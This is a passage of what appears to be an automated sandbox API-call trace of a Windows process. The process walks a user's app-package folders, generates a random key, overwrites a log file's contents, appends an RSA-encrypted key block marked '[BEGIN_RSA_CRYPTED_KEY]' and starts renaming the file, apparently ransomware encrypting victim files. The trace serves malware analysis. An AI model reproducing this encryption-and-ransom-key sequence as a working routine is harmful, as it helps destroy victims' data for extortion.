returned 1 [0196.047] GetLastError () returned 0x12 [0196.047] GetLastError () returned 0x12 [0196.047] GetLastError () returned 0x12 [0196.047] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be790 | out: hHeap=0x570000) returned 1 [0196.047] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8d048 | out: hHeap=0x570000) returned 1 [0196.047] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40648 | out: hHeap=0x570000) returned 1 [0196.047] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ea30 | out: hHeap=0x570000) returned 1 [0196.047] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0196.047] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f82640 | out: hHeap=0x570000) returned 1 [0196.047] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0196.047] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b458 | out: hHeap=0x570000) returned 1 [0196.047] GetLastError () returned 0x12 [0196.047] GetLastError () returned 0x12 [0196.047] GetLastError () returned 0x12 [0196.048] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be420 | out: hHeap=0x570000) returned 1 [0196.048] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8cdc8 | out: hHeap=0x570000) returned 1 [0196.048] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e403c0 | out: hHeap=0x570000) returned 1 [0196.048] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ea30 | out: hHeap=0x570000) returned 1 [0196.048] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0196.048] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f82640 | out: hHeap=0x570000) returned 1 [0196.048] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0196.048] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b568 | out: hHeap=0x570000) returned 1 [0196.048] GetLastError () returned 0x12 [0196.048] GetLastError () returned 0x12 [0196.048] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f82640 | out: hHeap=0x570000) returned 1 [0196.048] GetLastError () returned 0x12 [0196.048] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ea30 | out: hHeap=0x570000) returned 1 [0196.048] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d3668 | out: hHeap=0x570000) returned 1 [0196.048] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x65be98 | out: hHeap=0x570000) returned 1 [0196.048] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x660308 | out: hHeap=0x570000) returned 1 [0196.048] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.CommsPhone_8wekyb3d8bbwe\\AC\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3e08c85a, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x323c0f2b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x2db73815, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f8cc08 [0196.049] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b4f18 | out: hHeap=0x570000) returned 1 [0196.049] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0196.049] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8af08 | out: hHeap=0x570000) returned 1 [0196.049] GetLastError () returned 0x12 [0196.049] GetLastError () returned 0x12 [0196.049] GetLastError () returned 0x12 [0196.049] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5beb58 | out: hHeap=0x570000) returned 1 [0196.049] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8cc88 | out: hHeap=0x570000) returned 1 [0196.049] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e405e8 | out: hHeap=0x570000) returned 1 [0196.049] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ea30 | out: hHeap=0x570000) returned 1 [0196.049] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0196.049] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f82640 | out: hHeap=0x570000) returned 1 [0196.049] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0196.049] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b348 | out: hHeap=0x570000) returned 1 [0196.049] GetLastError () returned 0x12 [0196.049] GetLastError () returned 0x12 [0196.049] GetLastError () returned 0x12 [0196.050] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5beb58 | out: hHeap=0x570000) returned 1 [0196.050] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8cb08 | out: hHeap=0x570000) returned 1 [0196.050] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40480 | out: hHeap=0x570000) returned 1 [0196.050] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ea30 | out: hHeap=0x570000) returned 1 [0196.050] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0196.050] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f82640 | out: hHeap=0x570000) returned 1 [0196.050] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4778 | out: hHeap=0x570000) returned 1 [0196.050] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8ac60 | out: hHeap=0x570000) returned 1 [0196.050] GetLastError () returned 0x12 [0196.050] GetLastError () returned 0x12 [0196.050] GetLastError () returned 0x12 [0196.050] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ea30 | out: hHeap=0x570000) returned 1 [0196.050] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58edc8 | out: hHeap=0x570000) returned 1 [0196.050] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0196.050] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b458 | out: hHeap=0x570000) returned 1 [0196.050] GetLastError () returned 0x12 [0196.050] GetLastError () returned 0x12 [0196.050] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f81a88 | out: hHeap=0x570000) returned 1 [0196.050] GetLastError () returned 0x12 [0196.051] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x66c320 | out: hHeap=0x570000) returned 1 [0196.052] WriteFile (in: hFile=0xcb4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0196.053] CloseHandle (hObject=0xcb4) returned 1 [0196.053] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b4f18 | out: hHeap=0x570000) returned 1 [0196.053] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d2f0 | out: hHeap=0x570000) returned 1 [0196.053] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d250 | out: hHeap=0x570000) returned 1 [0196.053] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d2ff0 | out: hHeap=0x570000) returned 1 [0196.053] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f82640 | out: hHeap=0x570000) returned 1 [0196.053] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0196.054] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8ae80 | out: hHeap=0x570000) returned 1 [0196.054] GetLastError () returned 0x0 [0196.054] GetLastError () returned 0x0 [0196.054] GetLastError () returned 0x0 [0196.054] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ef58 | out: hHeap=0x570000) returned 1 [0196.054] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58f020 | out: hHeap=0x570000) returned 1 [0196.054] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0196.054] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8af90 | out: hHeap=0x570000) returned 1 [0196.054] GetLastError () returned 0x0 [0196.054] GetLastError () returned 0x0 [0196.054] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f81a88 | out: hHeap=0x570000) returned 1 [0196.054] GetLastError () returned 0x0 [0196.054] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x66c320 | out: hHeap=0x570000) returned 1 [0196.054] WriteFile (in: hFile=0xcb4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0196.056] CloseHandle (hObject=0xcb4) returned 1 [0196.056] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b4f18 | out: hHeap=0x570000) returned 1 [0196.056] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d1c0 | out: hHeap=0x570000) returned 1 [0196.056] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d2d0 | out: hHeap=0x570000) returned 1 [0196.056] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d34f8 | out: hHeap=0x570000) returned 1 [0196.056] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f82640 | out: hHeap=0x570000) returned 1 [0196.056] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4808 | out: hHeap=0x570000) returned 1 [0196.056] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8af90 | out: hHeap=0x570000) returned 1 [0196.056] GetLastError () returned 0x0 [0196.057] GetLastError () returned 0x0 [0196.057] GetLastError () returned 0x0 [0196.057] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ef08 | out: hHeap=0x570000) returned 1 [0196.057] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58f020 | out: hHeap=0x570000) returned 1 [0196.057] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a44f0 | out: hHeap=0x570000) returned 1 [0196.057] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8ace8 | out: hHeap=0x570000) returned 1 [0196.057] GetLastError () returned 0x0 [0196.057] GetLastError () returned 0x0 [0196.057] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f81a88 | out: hHeap=0x570000) returned 1 [0196.057] GetLastError () returned 0x0 [0196.057] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x66c908 | out: hHeap=0x570000) returned 1 [0196.057] WriteFile (in: hFile=0xcb4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0196.059] CloseHandle (hObject=0xcb4) returned 1 [0196.059] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b4f18 | out: hHeap=0x570000) returned 1 [0196.059] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d390 | out: hHeap=0x570000) returned 1 [0196.059] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d340 | out: hHeap=0x570000) returned 1 [0196.059] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d34f8 | out: hHeap=0x570000) returned 1 [0196.059] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f82640 | out: hHeap=0x570000) returned 1 [0196.059] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0196.059] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b700 | out: hHeap=0x570000) returned 1 [0196.059] GetLastError () returned 0x0 [0196.059] GetLastError () returned 0x0 [0196.059] GetLastError () returned 0x0 [0196.059] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ef80 | out: hHeap=0x570000) returned 1 [0196.059] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f82640 | out: hHeap=0x570000) returned 1 [0196.059] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0196.060] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b238 | out: hHeap=0x570000) returned 1 [0196.060] GetLastError () returned 0x0 [0196.060] GetLastError () returned 0x0 [0196.060] GetLastError () returned 0x0 [0196.060] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5becb8 | out: hHeap=0x570000) returned 1 [0196.060] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8cc48 | out: hHeap=0x570000) returned 1 [0196.060] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40558 | out: hHeap=0x570000) returned 1 [0196.060] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58edc8 | out: hHeap=0x570000) returned 1 [0196.060] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0196.060] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f88678 | out: hHeap=0x570000) returned 1 [0196.060] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x65b610 | out: hHeap=0x570000) returned 1 [0196.060] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6602b8 | out: hHeap=0x570000) returned 1 [0196.060] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.CommsPhone_8wekyb3d8bbwe\\AppData\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3e040428, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xca6d21c7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2db73815, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f8d048 [0196.061] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f82640 | out: hHeap=0x570000) returned 1 [0196.061] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0196.061] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b788 | out: hHeap=0x570000) returned 1 [0196.061] GetLastError () returned 0x12 [0196.061] GetLastError () returned 0x12 [0196.061] GetLastError () returned 0x12 [0196.061] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bec60 | out: hHeap=0x570000) returned 1 [0196.061] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8ca08 | out: hHeap=0x570000) returned 1 [0196.061] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40390 | out: hHeap=0x570000) returned 1 [0196.061] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ef80 | out: hHeap=0x570000) returned 1 [0196.061] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0196.061] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f82640 | out: hHeap=0x570000) returned 1 [0196.061] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0196.061] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8ab50 | out: hHeap=0x570000) returned 1 [0196.061] GetLastError () returned 0x12 [0196.061] GetLastError () returned 0x12 [0196.062] GetLastError () returned 0x12 [0196.062] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bebb0 | out: hHeap=0x570000) returned 1 [0196.062] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8cc48 | out: hHeap=0x570000) returned 1 [0196.062] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40438 | out: hHeap=0x570000) returned 1 [0196.062] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58edf0 | out: hHeap=0x570000) returned 1 [0196.062] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0196.062] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f82640 | out: hHeap=0x570000) returned 1 [0196.062] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0196.062] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b238 | out: hHeap=0x570000) returned 1 [0196.062] GetLastError () returned 0x12 [0196.062] GetLastError () returned 0x12 [0196.062] GetLastError () returned 0x12 [0196.062] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58eeb8 | out: hHeap=0x570000) returned 1 [0196.062] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d3668 | out: hHeap=0x570000) returned 1 [0196.062] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x662290 | out: hHeap=0x570000) returned 1 [0196.063] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6602e0 | out: hHeap=0x570000) returned 1 [0196.063] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.CommsPhone_8wekyb3d8bbwe\\LocalCache\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3df817ee, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x711e790d, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x2db73815, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f8c948 [0196.063] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f82640 | out: hHeap=0x570000) returned 1 [0196.063] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4808 | out: hHeap=0x570000) returned 1 [0196.063] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8adf8 | out: hHeap=0x570000) returned 1 [0196.063] GetLastError () returned 0x12 [0196.063] GetLastError () returned 0x12 [0196.063] GetLastError () returned 0x12 [0196.063] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be478 | out: hHeap=0x570000) returned 1 [0196.063] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8c8c8 | out: hHeap=0x570000) returned 1 [0196.063] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40528 | out: hHeap=0x570000) returned 1 [0196.063] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ee40 | out: hHeap=0x570000) returned 1 [0196.063] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0196.064] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f82640 | out: hHeap=0x570000) returned 1 [0196.064] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0196.064] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8adf8 | out: hHeap=0x570000) returned 1 [0196.064] GetLastError () returned 0x12 [0196.064] GetLastError () returned 0x12 [0196.064] GetLastError () returned 0x12 [0196.064] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be898 | out: hHeap=0x570000) returned 1 [0196.064] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8ca08 | out: hHeap=0x570000) returned 1 [0196.064] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40450 | out: hHeap=0x570000) returned 1 [0196.064] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58f048 | out: hHeap=0x570000) returned 1 [0196.064] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0196.064] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f82640 | out: hHeap=0x570000) returned 1 [0196.064] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a44f0 | out: hHeap=0x570000) returned 1 [0196.064] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8aa40 | out: hHeap=0x570000) returned 1 [0196.064] GetLastError () returned 0x12 [0196.064] GetLastError () returned 0x12 [0196.064] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f82640 | out: hHeap=0x570000) returned 1 [0196.064] GetLastError () returned 0x12 [0196.064] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4778 | out: hHeap=0x570000) returned 1 [0196.065] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b4f18 | out: hHeap=0x570000) returned 1 [0196.065] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0196.065] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8ace8 | out: hHeap=0x570000) returned 1 [0196.065] GetLastError () returned 0x12 [0196.065] GetLastError () returned 0x12 [0196.065] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f82640 | out: hHeap=0x570000) returned 1 [0196.065] GetLastError () returned 0x12 [0196.065] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4778 | out: hHeap=0x570000) returned 1 [0196.065] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b4f18 | out: hHeap=0x570000) returned 1 [0196.065] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0196.065] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8ace8 | out: hHeap=0x570000) returned 1 [0196.065] GetLastError () returned 0x12 [0196.065] GetLastError () returned 0x12 [0196.065] GetLastError () returned 0x12 [0196.065] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ee40 | out: hHeap=0x570000) returned 1 [0196.065] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0196.065] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.CommsPhone_8wekyb3d8bbwe\\LocalCache\\CallsBackgroundTaskLog.last.etl", dwFileAttributes=0x80) returned 1 [0196.067] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6595d8 | out: hHeap=0x570000) returned 1 [0196.067] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.CommsPhone_8wekyb3d8bbwe\\LocalCache\\CallsBackgroundTaskLog.last.etl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.commsphone_8wekyb3d8bbwe\\localcache\\callsbackgroundtasklog.last.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xcbc [0196.068] GetFileSizeEx (in: hFile=0xcbc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4096) returned 1 [0196.068] ReadFile (in: hFile=0xcbc, lpBuffer=0x30400a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x30400a8*, lpNumberOfBytesRead=0x2e3f9b4*=0x1000, lpOverlapped=0x0) returned 1 [0196.069] SetFilePointer (in: hFile=0xcbc, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0196.069] WriteFile (in: hFile=0xcbc, lpBuffer=0x30420b8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x30420b8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1000, lpOverlapped=0x0) returned 1 [0196.070] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x30400a8 | out: hHeap=0x570000) returned 1 [0196.070] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x30420b8 | out: hHeap=0x570000) returned 1 [0196.070] SetFilePointer (in: hFile=0xcbc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1000 [0196.070] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0196.070] WriteFile (in: hFile=0xcbc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0196.070] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0196.070] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0196.070] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0196.071] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="K+CT+fUjqmDxlMcsTrpD3uqN2qu+QjKbt0djU2iKLQGYe6ilwToeRp8P90m/gHoO\noB1YnQvNTOv8a3cXOgweWuNyOZm0EiMv8QMPl3xg3NAz6fj/DylhvGZAQ0lnB2EE\ndToT/7bNm03M7gZ+NKjEZBLXcntTFQEcuvWQx9OS0SUewupRbweUBGqB7E6OIlsB\nC9AyA8PO3gdWpYBcw0OHhjejpyCy0R4U6tAyOrpDHfcdZtFPZDHj7+dujbG2f2de\nT42qHdy9uo1XoJeWuVeWQuSXLlqP8idyy5PqDSKaSQ/p9Rng8rIGJEU/TQkn0B0J\nYPKPqrynbGxmBN4oMHuDlw==\n", pcchString=0x2e3f9a8) returned 1 [0196.071] WriteFile (in: hFile=0xcbc, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0196.071] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0196.071] WriteFile (in: hFile=0xcbc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0196.071] CloseHandle (hObject=0xcbc) returned 1 [0196.071] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0196.071] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.CommsPhone_8wekyb3d8bbwe\\LocalCache\\CallsBackgroundTaskLog.last.etl" (normalized: 